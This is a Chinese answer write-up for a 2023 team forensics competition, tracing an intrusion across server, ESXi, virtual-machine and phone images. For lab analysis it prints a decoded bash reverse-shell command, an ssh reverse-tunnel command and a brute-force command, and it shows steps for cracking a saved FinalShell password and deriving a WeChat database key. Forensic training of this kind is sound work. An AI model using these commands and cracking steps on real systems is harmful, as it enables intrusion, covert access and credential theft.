2023TJ智网杯电子数据取证比武团体赛WP
多种思路解题
检材一
1.请计算检材一(检材1.E01)镜像文件的SHA256哈希值为?
ac4e19b7b5bb3a65c36064f30b092d2f59e6ca920fbca060cb648f33a9d1947b
N:\\检材一\>certutil -hashfile N:\\检材一\\检材1.E01 sha256
SHA256 的 N:\\检材一\\检材1.E01 哈希:
**ac4e19b7b5bb3a65c36064f30b092d2f59e6ca920fbca060cb648f33a9d1947b**
CertUtil: -hashfile 命令成功完成。
2.分析检材一,其操作系统的内核版本为?
3.10.0-514.el7.x86_64
[root@localhost \~]\# uname -a
Linux localhost.localdomain **3.10.0-514.el7.x86_64** \#1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
也可以通过静态的方式查看
3.分析检材一,该服务器IP地址为?
192.168.100.100
4.分析检材一,监听80端口的程序名称为
A. apache B.nginx C.mysql D.ssh
[root@localhost \~]\# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
**tcp 0 0 0.0.0.0:80 0.0.0.0:\* LISTEN 2814/nginx: master**
tcp 0 0 0.0.0.0:21 0.0.0.0:\* LISTEN 1656/pure-ftpd (SER
tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 2087/sshd
tcp 0 0 0.0.0.0:8888 0.0.0.0:\* LISTEN 3201/python
tcp 0 0 0.0.0.0:888 0.0.0.0:\* LISTEN 2814/nginx: master
tcp 0 0 127.0.0.1:25 0.0.0.0:\* LISTEN 3108/master
tcp6 0 0 :::3306 :::\* LISTEN 2933/mysqld
tcp6 0 0 :::21 :::\* LISTEN 1656/pure-ftpd (SER
tcp6 0 0 :::22 :::\* LISTEN 2087/sshd
tcp6 0 0 ::1:25 :::\* LISTEN 3108/master
5.分析检材一,mysql数据库版本号为?
A.5.6.50 B.5.7.50 C.5.6.49 D.8.0.0
[root@localhost \~]\# mysql -V
mysql Ver 14.14 Distrib 5.6.50, for Linux (x86_64) using EditLine wrapper
[root@localhost \~]\#
6.检材一内商场网站所使用的web配置文件名为?
A.httpd.conf B.my.ini C.nginx.conf D.www.tjshop.com.conf
宝塔面板,绑定本地IP和端口后,依次打开四个网站,只有第三个是商城网站
然后在网站的设置里面,查看配置文件,里面有网站的配置文件名称www.tjshop.com.conf
7.检材一服务器中宝塔面板的安全入口为?
A.tj2021 B.tj2022 C.tj2023 D. tj2024
8.检材一服务器宝塔面板数据库tpshop2.0的默认密码是?
40eca8bea9
9.检材一服务器中共包含多少个网站?(答案格式:10)
A.3 B.4 C.5 D.6
10.依据服务器管理员描述,当前网站运行期间服务器会持续抓包,该数据包名称为?
tcpdump_tj.cap
通过历史命令查看,既然抓包,那么肯定跟网卡ens33有关
[root@localhost \~]\# history \| grep ens33
26 sudo tcpdump -i ens33 -w \~/tcpdump.cap
129 history \| grep ens33
[root@localhost \~]\#
后来在做11题的时候,并没有检索到名称为tcpdump.cap的数据包,
进一步用find命令进行模糊搜索,注意表达式要加引号
[root@localhost \~]\# find / -iname "\*.cap"
/root/tcpdump_tj.cap
/root/tcpdump2_tj.cap
[root@localhost \~]\#
使用模糊查询的方法在/root/目录下查询到两个cap数据包,用wireshark依次进行查看
11.分析上述数据包,发现违法攻击者对内网IP进行扫描所使用的工具名称是?
A.awvs B.goon C.御剑 D.wwwscan
依次在数据包中检索四个选项,只有B项被检索到,ABC项均无结果
12.检材一中某网站被入侵,该网站的域名为?
www.tpshop.com
对上题流量包进行分析,分析执行的命令,发现执行过程序goon2_lin
在检材一中,使用find命令进行检索,
[root@localhost \~]\# find / -iname goon2_lin
/www/wwwroot/www.tpshop.com/application/goon2_lin
[root@localhost \~]\#
发现该程序文件在网站www.tpshop.com的application目录下面
由此推测被入侵的网站是www.tpshop.com
13.检材一中被入侵网站的后台登录密码加密过程方式使用的盐值为
TPSHOP
首先要打开后台首页
因为我本地的IP是192.168.182.253,所以我前台URL是http://192.168.182.253:13003/
前台打开成功后,在url后面加上index.php/admin,跳转到了后台首页
输入错误的账号密码,正确的验证码,测试出报错信息为“账号密码不正确!”
在源代码中检索该报错信息,没有结果,去掉后面的叹号,找到了结果
分析源代码,定位到加密函数encrypt,按住crtl,点击该函数实现跳转
发现加密盐值是一个常量,全局搜索AUTH_CODE,在config.php中周到常量的值为TPSHOP
14.检材一服务器受到攻击的来源IP是多少?
A.222.2.2.1 B.192.168.100.100 C.192.168.100.101 D.222.2.2.2
根据11题和12题结果,发现对检材一服务器192.168.100.100进行扫描的IP是222.2.2.2
在wireshark的会话统计中也可以看到
15.分析检材一,攻击者在何时成功写入了一句话木马?(格式:2021-01-01 21:30:01)
A.Fri Mar 04 2022 15:24:29 GMT+0800 (China Standard Time)
B.Fri Mar 04 2022 15:14:32 GMT+0800 (China Standard Time)
C.Fri Mar 04 2022 15:15:13 GMT+0800 (China Standard Time)
D.Sat Mar 05 2022 15:14:30 GMT+0800 (China Standard Time)
根据一句话木马的特点,在全局中搜索关键字@eval。注意如果只搜eval,会搜到很多结果。
16.请分析攻击者对检材一所在网络其他设备进行爆破所使用的字典文件名
FastPwds.txt
在流量数据包中通过正则表达式进行检索
因为是字典,所以参数可能是-password,并且后缀可能是.txt
所以构造正则表达式-password.+[\.]txt。检索后,结果只有一个
17.请分析攻击者对内网其他设备成功进行进行爆破的命令
A、ssh root@222.2.2.2 -p 33333
B、unzip PwnKit-Exploit-main.zip
C、./goon2_lin -ip 192.168.100.254 -mode rdp -user administrator -pfile FastPwds.txt
D、./goon2_lin -ip 192.168.100.253 -mode rdp -user administrator -pfile FastPwds.txt
分析上题检索到的数据分组,可以发现爆破的命令如下:
18.爆破成功后,攻击者建立隧道所使用的的命令为?
A.bash B.telnet C.exec D.ssh
查看检材一历史命令,依次检索ABCD选项内容
[root@localhost wwwroot]# history | grep telnet
139 history | grep telnet
[root@localhost wwwroot]# history | grep exec
140 history| grep exec
[root@localhost wwwroot]# history | grep bash
11 bash update.sh
141 history | grep bash
ABC选项都没有,
看到一条命令ssh -CgfNR 0.0.0.0:22222:192.168.100.254:3389 root@222.2.2.2 -p33333
具体解释如下:
ssh: SSH命令的关键字,用于启动SSH客户端。
-C: 启用数据压缩,以提高传输效率。
-g: 允许远程主机连接到本地端口转发的服务。
-f: 在后台运行SSH会话。
-N: 不执行远程命令,仅用于端口转发。
-R 0.0.0.0:22222:192.168.100.254:3389: 将本地主机的22222端口映射到远程主机的192.168.100.254的3389端口。这意味着当有连接发送到本地主机的22222端口时,SSH会将其转发到远程主机的192.168.100.254的3389端口。
root@222.2.2.2: 远程主机的用户名和IP地址。在此示例中,用户名为root,IP地址为222.2.2.2。
-p33333: 指定SSH服务器的端口号为33333。默认情况下,SSH使用22号端口进行连接。
综上所述,该命令的含义是:在本地主机上启动一个SSH会话,将本地主机的22222端口映射到远程主机的192.168.100.254的3389端口,并通过SSH连接到远程主机的IP地址为222.2.2.2,使用用户名root,并指定SSH服务器的端口号为33333。这样可以在本地主机上通过访问本地的22222端口来实现对远程主机的3389端口的访问。
所以本题选择D
19.攻击者建立隧道后,可以在回连服务器的哪个端口访问到内网服务?
A.22222 B.11111 C.22 D.8888
如上题选择A
20.分析上述数据包,黑客在检材一中使用了bash反弹shell,该反弹shell会将交互命令重定向至远端设备的哪个端口?
A.10000 B.8888 C.888 D.9999
使用显示过滤器进行过滤
http.request.method == "POST" && ip.src==222.2.2.2&&ip.dst==192.168.100.100
过滤完成过后,只有50个分组,依次点开查看
发现很多数据分组中都传递了变量名为beeab73645c2ac的变量,但是每个分组前两个字符不同,其余都相同,而相同的字符串像是base 64编码,把该字符串进行base 64转码
转码后的命令的含义:
这个命令包含三个部分,每一部分都是一个独立的命令,用分号;将它们连接起来。
第一部分:cd “/www/wwwroot/www.tpshop.com/application”;
这个命令的作用是切换当前工作目录到/www/wwwroot/www.tpshop.com/application目录下。其中,cd命令用于切换目录,后面的路径"/www/wwwroot/www.tpshop.com/application"是要切换到的目标目录。
第二部分:bash -i>& /dev/tcp/222.2.2.2/10000 >&1;
这个命令的目的是建立一个反向TCP连接,将一个Bash shell会话连接到远程主机上。具体操作是:
bash -i: 启动一个交互式的Bash shell。
>& /dev/tcp/222.2.2.2/10000: 将Bash的标准输入和标准输出重定向到TCP连接到222.2.2.2主机的10000端口。这样,本地机器的Bash shell就会和远程主机的10000端口建立连接,并通过这个通道进行输入和输出。
>&1;: 将标准错误也重定向到标准输出,这样所有的输出都会被发送到TCP连接中。
第三部分:echo 9f7dd; pwd; echo dea75af74315
这个命令包含了三个子命令:
echo 9f7dd: 输出字符串9f7dd。
pwd: 输出当前工作目录的路径。
echo dea75af74315: 输出字符串dea75af74315。
综上所述,这个命令的作用是先切换当前工作目录到/www/wwwroot/www.tpshop.com/application目录下,然后在该目录下启动一个交互式的Bash shell,并将输入和输出重定向到远程主机的222.2.2.2:10000端口,最后输出三个字符串分别是9f7dd、当前工作目录、dea75af74315。
综上,该题选择A,该题的关键是如何对数据分组进行过滤
检材二
21.分析检材二,其源盘哈希sha1为?
4e3bb1bda65d1342af163daf5e176fbf7af6069b
M:\\检材二\>certutil -hashfile M:\\检材二\\检材2.E01 sha1
SHA1 的 M:\\检材二\\检材2.E01 哈希:
4e3bb1bda65d1342af163daf5e176fbf7af6069b
CertUtil: -hashfile 命令成功完成。
22.检材二操作系统的发行ID号为
A.1606 B.1607 C.1608 D.1609
使用X-ways加载磁盘镜像,在专业工具中将镜像转换成磁盘,打开分区4
在\Windows\System32\config目录下有个SOFTWARE文件,右击打开,X-ways可以直接打开注册表文件
在SOFTWARE\Microsoft\Windows NT\CurrentVersion下面有个变量为ReleaseId,变量值为1607
方法二,仿真起来后,在cmd窗口输入winver即可查看
23.分析检材二,攻击者成功登陆该服务器的时间为?
A.Thu Mar 03 2022 18:14:54 GMT+0800 (China Standard Time)
B.Fri Mar 04 2022 18:15:37 GMT+0800 (China Standard Time)
C.Fri Mar 04 2022 18:24:54 GMT+0800 (China Standard Time)
D.Fri Mar 04 2022 18:14:55 GMT+0800 (China Standard Time)
通过X-ways,在\Windows\System32\winevt\Logs目录找到安全日志文件Security.evtx
X-ways无法直接打开evtx的文件,导出到本地后,直接双击,调用本地的事件查看器查看
全局搜索192.168.100.100,找到答案
24.服务器192.168.100.100的root账户的密码为?
Cse19981228
仿真起来后,找到finalshell的安装目录
在连接日志中找到密码的密文字符串
Cmd命令行调用破解finalshell密码的java脚本进行破解:
D:\\FreeSoftware\\脚本\\破解finalshell密码脚本\>java 123.java MQt2fCF4AS2lvL8xlKl0wREOXVQzLNb6
Cse19981228
25.检材二中,连接检材一使用的工具软件是?
A.xftp B.xshell C.putty D.finalshell
26.检材二中用于数据清除的软件的名称是?
A.Cipher.exe B.Ccleaner C.Eraser D.Disk Wipe
27.检材二中开机自启动的应用程序或进程总计多少个?(不包含系统程序)
A.1 B.2 C.3 D.4
在Windows系统中,您可以使用以下方法查看开机自启动的程序:
3.注册表编辑器(regedit):按下Win + R组合键打开运行窗口,输入"regedit"并按下Enter键,打开注册表编辑器。导航到以下路径:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run。在这些路径下,您将找到开机自启动的程序的条目。
注意X-ways中查找自启动项的两个路径:
一个是:SOFTWARE(ROOT)\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
一个是:SOFTWARE(ROOT)\Microsoft\Windows\CurrentVersion\Run
另外也可以仿真起来后查看:按下Win + R组合键打开运行窗口,输入"regedit"并按下Enter键,打开注册表编辑器
28.检材二服务器的系统时区为?
A.UTC B.GMT C.DST D.EST
在system注册表中查看,位置为
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
“TimeZoneKeyName"值为"China Standard Time"表示Windows Server 2016系统中使用的时区键名为"China Standard Time”。时区键名是一个唯一的标识符,用于标识系统中可用的时区。
在Windows系统中,每个时区都有一个唯一的键名,它由多个单词组成,用空格分隔。"China Standard Time"键名表示中国标准时间(UTC+8),这是中国大陆、香港、澳门和台湾等地区使用的标准时间。在Windows系统中,该时区包括北京、重庆、上海、天津等城市。
以下是与时区和时间相关的常见缩写和它们的含义:
UTC:协调世界时(Coordinated Universal Time),也被称为世界标准时间。UTC是一种基于原子钟的时间标准,被广泛用作全球统一的时间参考。其他时区可以通过与UTC的偏差来表示。
GMT:格林尼治标准时间(Greenwich Mean Time)。GMT起源于英国伦敦格林尼治天文台的平均太阳时,通常与UTC被认为是等同的。然而,从1972年开始,UTC逐渐取代了GMT成为国际上的时间标准。
DST:夏令时(Daylight Saving Time),也称为日光节约时间或夏季时间。夏令时是一种在某些地区将钟表调快一小时的做法,旨在利用光照更充足的夏季时期,延长白天的可利用时间。
EST:东部标准时间(Eastern Standard Time)。EST是北美东部地区使用的标准时间,通常指UTC-5的时区。涵盖的地区包括美国东部、加拿大东部以及一些中美洲和南美洲的国家。
29.嫌疑人疑似在检材二中下载了勒索病毒文件,该文件名是?
encrypt_file.exe
通过X-ways,在检材2.E01/分区4/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/History路径下导出历史记录文件History
使用数据库查看软件DB Browser for SQLite打开History文件
在download数据表中,可以看到下载记录
排除前两个,只有第三个可能是勒索病毒文件
30.该勒索病毒是通过哪个url链接下载的?
http://192.168.100.100/public/upload/encrypt_file.exe
同样在该数据表中,tab_url列中有下载连接
31.请分析勒索病毒会加密哪些文件扩展名的文件?
A.doc B.jpg C.png D.txt
在C:\Users\Administrator\Downloads\目录下并未找到文件encrypt_file.exe,所以怀疑文件被重命名
全局搜索关键字encrypt_file.exe
首先,Xways打开案件数据窗口
然后,右击分区4,选择添加至当前活动的案件
然后,在案件数据窗口,右击分区4,选择浏览递归
然后使用过滤功能,过滤关键字encrypt_file.exe,注意使用模糊查询的话,两边要加上星号*,如下
过滤出疑似的文件tj_encrypt_file.exe.exe
导出该文件,计算哈希值为6a1b71c09f7c71493df484ff1f9843f1
使用DIE进行分析,发现该程序使用Pyinstaller打包的
因此可以用pyinstxtractor实现逆向
D:\\FreeSoftware\\脚本\\Python反编译\>python D:\\FreeSoftware\\脚本\\Python反编译\\pyinstxtractor.py C:\\Users\\renfe\\Desktop\\fupan\\财务\\tj_encrypt_file.exe.exe
D:\\FreeSoftware\\脚本\\Python反编译\\pyinstxtractor.py:86: DeprecationWarning: the imp module is deprecated in favour of importlib and slated for removal in Python 3.12; see the module's documentation for alternative uses
import imp
[\*] Processing C:\\Users\\renfe\\Desktop\\fupan\\财务\\tj_encrypt_file.exe.exe
[\*] Pyinstaller version: 2.1+
[\*] Python version: 307
[\*] Length of package: 5609283 bytes
[\*] Found 58 files in CArchive
[\*] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap
[+] Possible entry point: pyi_rth_subprocess
[+] Possible entry point: encrypt_file
[!] Warning: The script is running in a different python version than the one used to build the executable
Run this script in Python307 to prevent extraction errors(if any) during unmarshalling
[\*] Found 117 files in PYZ archive
[\*] Successfully extracted pyinstaller archive: C:\\Users\\renfe\\Desktop\\fupan\\财务\\tj_encrypt_file.exe.exe
You can now use a python decompiler on the pyc files within the extracted directory
D:\\FreeSoftware\\脚本\\Python反编译\>
反编译后的结果如下:
由以上结果可以看出,原始的编译环境是python37
复制struct文件的前16字节,插入到encrypt_file文件的起始位置,并将encrypt_file文件更名为encrypt_file.pyc
本地python环境切换为python3.7,
(base) PS C:\\Users\\renfe\> activate ceshi
(base) PS C:\\Users\\renfe\> conda activate ceshi
(ceshi) PS C:\\Users\\renfe\> cd D:\\FreeSoftware\\脚本\\Python反编译\\tj_encrypt_file.exe.exe_extracted
(ceshi) PS D:\\FreeSoftware\\脚本\\Python反编译\\tj_encrypt_file.exe.exe_extracted\> uncompyle6 -o ok.py D:\\FreeSoftware\\脚本\\Python反编译\\tj_encrypt_file.exe.exe_extracted\\encrypt_file.pyc
执行完毕后,会在tj_encrypt_file.exe.exe_extracted目录下增加一个ok.py文件,可以用vscode直接打开看源代码,如下
由此可见,该文件可以加密的文件由txt doc jpg png
32.综合分析,并尝试解密文件“销售额.txt_encrypted”,其文件内容为?
70012023
此题需要运行后面的病毒研发机,在桌面有个code文件夹,其中有解密程序“decrypt_file_.rar”
通过x-ways直接将解密程序和密钥导出来
将文件解压出来后,与加密后的文件放在一个目录下面,双击运行decrypt_file.exe,则自动解压销售额.txt,内容位70012023
33.在检材二中存在木马程序,该木马文件名为?
tj.exe
在财务文件夹中发现文件tj.exe,疑似木马程序,虚拟机中运行后,被识别为病毒文件
34.该木马以什么方式实现开机自启动?
A注册表 B.计划任务 C.服务 D.脚本
根据第27题分析的结果,该题选A
35.请分析木马程序,该程序会自动释放配置文件,其配置文件的文件名为
tj.json
该木马程序,无法在XP虚拟机内运行,因为其是64为程序,需要至少在64位系统运行
启动win10虚拟机,运行process Monitor
记得先给虚拟机做快照
运行tj.exe
然后再processMonitor中设置过滤条件
导出位csv格式的文件,在本地电脑打开
可以看到释放的配置文件位tj.json
在C:\Users\Administrator\AppData\Local\Temp路径下找到tj.json文件
{
"protocol":"http",
"user": "tj2023",
"query": "/upload_data",
"tag_data": "d4be5c472883d34de2cb1ea1b5ece91c",
"crypt": "AES_CBC_Zeropadding_128bits",
"key": "dGpfaG9uZ2xpYW4xMjM0NQ==",
"IV": "123456789 ",
"device_id": "conputerone_ks2",
"_": "kiss19915",
"sign": "123456789 ",
"timeto": "2021-2030",
"mark": "done\~\~",
"node": "honglian_network"
}
查看tj.json文件内容,确定为配置文件
36.请分析木马程序,远程注入的dll模块文件名为?
tj.dll
在导出的csv进程文件中,可以看到dll模块文件名为tj.dll
37.请分析木马程序,被远程注入的进程数量为?
A.4 B.5 C.3 D.6
虚拟机中启动木马程序后,在Process Explorer中进行检索
选择菜单栏选择Find Find Handle or DLL…
然后搜索关键字tj.dll,一共检索到4条结果
38.请分析木马配置文件,找出用户ID(user字段)为?
tj2023
{
"protocol":"http",
"user": "tj2023",
"query": "/upload_data",
"tag_data": "d4be5c472883d34de2cb1ea1b5ece91c",
"crypt": "AES_CBC_Zeropadding_128bits",
"key": "dGpfaG9uZ2xpYW4xMjM0NQ==",
"IV": "123456789 ",
"device_id": "conputerone_ks2",
"_": "kiss19915",
"sign": "123456789 ",
"timeto": "2021-2030",
"mark": "done\~\~",
"node": "honglian_network"
}
根据35题,我们知道配置文件tj.json的内容
其中有user字段内容
39.请分析木马配置文件,尝试解密“key”字段 的明文数据为?
tj_honglian12345
上题中变量key的内容疑似base64编码,使用Cyperchef进行解码
40.请分析木马配置文件,尝试解密“tag_data” 字段的明文数据为?
tj20237001
根据上题的key值,以及偏移量,进行解密,如下:
检材三/检材四
41.分析检材三,其虚拟化平台的发行版本号为?
6.7.0
42.分析检材三,其虚拟化平台的内部版本号为?
8169922
43.分析检材三,其虚拟化平台的管理页面登陆URL地址为?
http://222.2.2.250/ui/#/login
注意要新建一个222.2.2.*网段的虚拟网卡,用仅主机模式,并将虚拟机的网卡切换到新网卡
地址栏直接输入222.2.2.250,会直接跳转到http://222.2.2.250/ui/#/login
44.分析检材三,其虚拟化平台中有多少个虚拟机?
A.2 B.3 C.4 D.5
用户名为root
密码为!Honglian7001 在《附件1.服务器信息台账.docx》里面,登录之后如下:
点击左侧虚拟机,可以看到有四台虚拟机,但是都是无效状态,当启动检材四后,状态改为正常
这里需要注意,ESXi系统不能绕密,火眼仿真时需要把“智能推荐”功能关闭
如果强制绕密,vmware仿真软件可能会破坏原始密码,导致用原始密码和“123456”都无法登录系统
45.该虚拟化平台网络存储服务器通过NFS进行文件共享,该NFS的配置文件的位置为?A./vmfs/volumes/ B./data C./etc/data D./etc/exports
NFS是一种用于在网络上共享文件系统的协议,它允许多台计算机通过网络访问和共享存储设备上的文件。
仿真运行检材四
查看历史命令,发现程序在多出调用了/etc/exports文件
导出该文件后进行查看,发现存有一条命令,看起来像是一个NFS(Network File System)的配置命令。
/nfs 222.2.2.0/24(rw,no_root_squash,async,fsid=0)
具体含义如下:
/nfs: 这是NFS服务器上要共享的目录路径。
222.2.2.0/24: 这是一个IP地址段,表示允许来自该网段内的计算机访问共享目录。
(rw,no_root_squash,async,fsid=0): 这是一些NFS的选项设置。
rw表示允许对共享目录进行读写访问。
no_root_squash表示允许以root身份访问共享目录,而不降低权限。
async表示以异步方式处理客户端请求,即不等待数据写入到磁盘再返回响应。
fsid=0表示将共享目录的文件系统标识(File System Identifier)设置为0。
总结起来,这个命令的意思是将/nfs目录路径下的文件系统以读写方式共享给IP地址段为222.2.2.0/24的计算机,同时允许root用户访问,并以异步方式处理请求。
46.该esxi虚拟化平台存储所指向的目录位置是?
/vmfs/volumes/9af41fd8-941fbcd0
47.该虚拟化平台中“渗透测试机”的内存大小为?(无需单位)
1
48.渗透测试机中定时任务的总数量为?
A.1 B.2 C.3 D.4
使用X-ways,通过浏览递归+文件过滤,功能,筛选出渗透测试机的虚拟机文件,
方法一:右键导出,仿真查看,或者用x-ways查看
方法二(推荐):直接右键,选择第三个“打开”功能,然后将镜像转换成磁盘查看
在/etc/crontab文件中存储着定时任务,直接右键用查看器查看,发现有四个定时任务
49.渗透测试机的主机名为
A. root B.kali C.hostname D.sudo
Linux系统的主机名通常存储在/etc/hostname文件中
50.分析平台中的“渗透测试机”,攻击者是使用什么工具获取到检材一中被入侵网站的Webshell的?
A.LiqunKit B.SQLmap C.thinkPHPGUI D.XSS
将检材三和检材四全部仿真启动,并且全部配置仅主机模式、222.2.2网段的网卡
此时在ESXi系统的虚拟机选项卡中,可以看到四台虚拟机(如果不启动检材四esxi_nfs.E01,这里是看不到四台虚拟机的,esxi_nfs.E01镜像相当于ESXi系统的存储)
点击其中的渗透测试机,进入虚拟机管理界面,点击启动,有可能会提示错误,无法启动虚拟机,如下:
这是因为,虚拟机的处理器设置中,没有开启虚拟化功能
然后修改虚拟机设置,把处理器中的“Intel VT-x/EPT 或 AMD-V/RVI(V)”勾选,结果仿真失败,一开始提示“此平台不支持虚拟化的Intel VT-x/EPT。不使用虚拟化的Intel VT-x/EPT,是否继续?”
点击是后,提示错误1 “VMware Workstation在此主机上不支持嵌套虚拟化。模块“HV”启动失败。已为此ESX虚拟机禁用虚拟化Intel VT-x/EPT。您将无法运行嵌套虚拟机。未能启动虚拟机。”
错误1 截图
在处理器设置中,把三个功能都选上,提示错误2“VMware Workstation不支持在此主机上使用虚拟化性能计数器。有关更多详细信息,请参阅VMware知识库文章81623,网址为https://kb.vmware.com/s/article/81623。模块“VPMC”启动失败。”:
错误2 截图
将虚拟机的处理器数量增加为2,还是提示错误2
当把虚拟机的处理器数量设置为2,并且只勾选第一项“Intel VT-x/EPT 或 AMD-V/RVI(V)”时,提示错误1。
关机进入BIOS模式,查看虚拟化设置,显示虚拟化功能都已开启。
最后的解决办法https://blog.csdn.net/m0_62571257/article/details/124102636
原因分析:
不要同时开启hyper-V和VMware虚拟机软件,两者只能选择其一来使用,要用VMware虚拟机就必须关闭hyper-V 。
解决方案:
开始菜单.上右键选择“Windows PowerShell (管理员)
输入bcdedit /set hypervisorlaunchtype off
回车后,记得需要重启才算真正生效!
等重启后,VMware虚拟机使用就没问题了!
打开渗透测试及电源,然后打开浏览器控制台
查看历史命令
发现用户下载安装了蚁剑和thinkPHPGUI,但是选项中没有蚁剑,选择thinkPHPGUI
从以上历史命令也可以看出,用户在执行完ThinkphpGUI后,接着切换到下载目录,接着执行goo2_lin工具。
51.“渗透测试机”的网关IP是多少?
192.168.200.1
ip root命令
52.病毒开发者用于向gitlab提交代码的项目地址为?
http://192.168.200.201/zhaohong/vir_project
提交代码一般是通过浏览器,我们尝试去查看病毒研发机的浏览器历史记录
启动病毒研发机虚拟机,运行桌面上的谷歌浏览器,查看历史记录,可以找到gitlab的提交地址
需要注意,浏览器关闭再打开时,历史记录会被自动清空
53.病毒开发者访问gitlab的密码为?
honglian7001
在浏览器设置里面,点击自动填充,可以看到已保存的密码,
54.病毒研发机使用的操作系统内部版本号为
A.7601 B.7602 C.7603 D.7600
X-ways打开检材四,通过递归浏览过滤出病毒虚拟机文件,并通过磁盘界面打开病毒研发虚拟机
在虚拟机中找到SOFTWARE注册表文件,通过x-ways打开,在注册表的\SOFTWARE\Microsoft\Windows NT\CurrentVersion位置找到操作系统内部版本号为7601
55.病毒研发机中存在网站服务,启动该服务的程序名称为?
服务启动程序.exe
病毒研发机启动后,会自动运行一个名称为“弘连比武-WEB专用启动器-赵弘开发”的应用程序,疑似网站服务启动程序
打开任务管理器,右键该应用程序,转到进程
在进程界面中,右击相应进程选择打开文件位置
在弹出的界面中,找到对应的启动程序
56.该网站后台采用哪种框架技术?
A.thinkphp B.springboot C.nodejs D.vue
接上题,在C:\www路径下,找到对应jar文件,通过Git Bash运行启动应用程序
java -jar application-0.0.1-SNAPSHOT.jar
57.该网站的Mysql数据库连接密码为?
123456
通过X-ways,把application-0.0.1-SNAPSHOT.jar文件下载到本地,使用jd-gui打开查看
58.该档案系统后台网站对于账号的密码加密方式为?
A. SHA1 B.DES C.MD5 D.AES
查看病毒研发机IP地址为192.168.200.20
浏览器输入IP地址,进入系统后台页面,随便输入账号密码,弹出报错信息
搜索关键字“用户名或者密码输入错误,请重新输入!”
源代码中检索到具体位置
分析代码调用逻辑,代码调用了一种标准加密函数MessageDigestPasswordEncoder(“MD5”)
可知,加密方式为MD5
59.在网站中找出财务公司被盗取的文件总大小为?(单位:KB)
1.09
根据上题的加密算法
计算密码adminadmin,盐值123456的密文,注意密码不能小于6位,否则会无法通过前端长度验证
{123456}+MD5(adminadmin{123456}) = {123456}06870dcb9d663ab31dbb8c72f0d6c206
登录成功后,点击左侧控制台数据
60.该网站中,用户“zhaohong”所使用的APPID为?
admin_honglian
系统中只找到一个APPID
61.github&密钥服务器操作系统的内核版本是?
A.3.10.0 B.3.10.1 C.7.5.1804 D.7.5.1805
直接在x-ways里面查看
62.openwrt&wireguard服务器的外网IP的后台管理地址为? http://222.2.2.2/cgi-bin/luci/
openwrt&wireguard虚拟机启动后,查看其IP地址为222.2.2.2
注意直接输如ifconfig可能显示不全,需要输入ifconfig | more 按空格换页
本机浏览器地址栏输入IP地址,直接跳转到后台url:http://222.2.2.2/cgi-bin/luci/
63.openwrt&wireguard服务器的内核版本为?(格式:3.1.1)
5.4.154
通过uanme -r
或者uname -a
或者cat /proc/version
命令都可以看到内核版本,为5.4.154
但是该服务器原始镜像,无法静态查看器目录结构,
64.openwrt&wireguard虚拟机之前配置过,现已禁用的DDNS域名地址为? yourhost.esirplayground.org
openwrt的系统使用root账户直接登录就可以进去,因为没有密码
65.分析openwrt&wireguard虚拟机,攻击者和勒索病毒开发者是通过哪种VPN协议连入内网的?
A.WireGuard VPN B.NGINX C.ssl D.IPSEC
查看网络接口,里面有个WireGuard VPN
66.VPN服务监听哪个端口号?
A.22 B.20 C.12345 D.8888
点击上题界面中的编辑,可以看到监听的端口为12345
67.对端设备连接“openwrt&wireguard”虚拟机提供的服务,所需使用的公钥为?
0DydALVvHHU1n+lHpVvaXqayllePKqsPRBbcVcBHLXE=
在上题界面中点击对端,可以看到公钥
检材五
68.检材五手机的MEID号为
99001210695443
存储MEID号的文件的路径为 /user_de/0/com.android.phone/shared_prefs
69.检材五手机连接的wifi名称为hl_zhaohong的密码是? honglian7001
70.检材五中登录的微信账号“开源账房”的内部ID号为
wxid_qcz3701g92f022
首先要了解微信的数据文件及路径
**image2 文件夹:存放所有微信聊天图片,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/image2**
**voice2 文件夹:存放所有微信语音,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/voice2**
**voide 文件夹:存放所有微信视频,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/voide**
**avatar 文件夹:存放所有微信头像,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/avatar**
**Download 文件夹:存放微信聊天发送的文件,路径:/data/data/com.tencent.mm/MicroMsg/Download**
**EnMicroMsg.db: 微信数据库文件,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/EnMicroMsg.db**
**WxFileIndex.db: 微信文件索引数据库文件,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/WxFileIndex.db**
EnMicroMsg.db 和 WxFileIndex.db 均被加密,需获取秘钥解密:
**解密第一步:**获取微信数据库的密钥:
获取秘钥:使用 MD5(IMEI+uin) 取前7位作为访问密码。若为大写字母需转换为小写。拼接时不需使用+号。IMEI为手机IMEI码,在手机设置中可查。新版微信使用1234567890ABCDEF代替IMEI
获取uin:访问 /data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml。
根据上图可知微信加密用的UIN是8位阿拉伯数字59546496
**MD5(IMEI+uin) = MD5(**1234567890ABCDEF +59546496) = 5ae45c15d8b415b994c24f1b8a8b8f1b
取前7位得到微信数据库的加密密钥5ae45c1
解密第二步:解密
首先下载解密软件:sqlcipher2.1_sqlcipher资源-CSDN文库 双击运行
然后在/data/com.tencent.mm/MicroMsg/ e770fe148f8bb468ebf8abf505a9b167/EnMicroMsg.db导出加密数据库文件EnMicroMsg.db
将EnMicroMsg.db文件直接拖入SQLite Database Browser(SQLCiper Version2.1)中,输入微信数据库密码5ae45c1,点击OK,如下
接着就打开了数据库,如下图
关于数据表的说明
1.主要数据表
1 | userinfo 表 | 存储个人信息。id为2的value是个人微信ID。 |
---|---|---|
2 | message 表 | 存储所有聊天记录 |
3 | chatroom 表 | 存储群聊信息 |
4 | img_flag 表 | 存储在线头像信息。若本地avatar文件夹无头像,可使用此表地址访问头像。reserved2为缩略图,reserved1为高清图 |
5 | rcontact 表 | 存放好友信息 |
2.消息类型解析
在message表中,`
type`字段表示消息类型,包括:
1:文本**
3:图片**
34:语音**
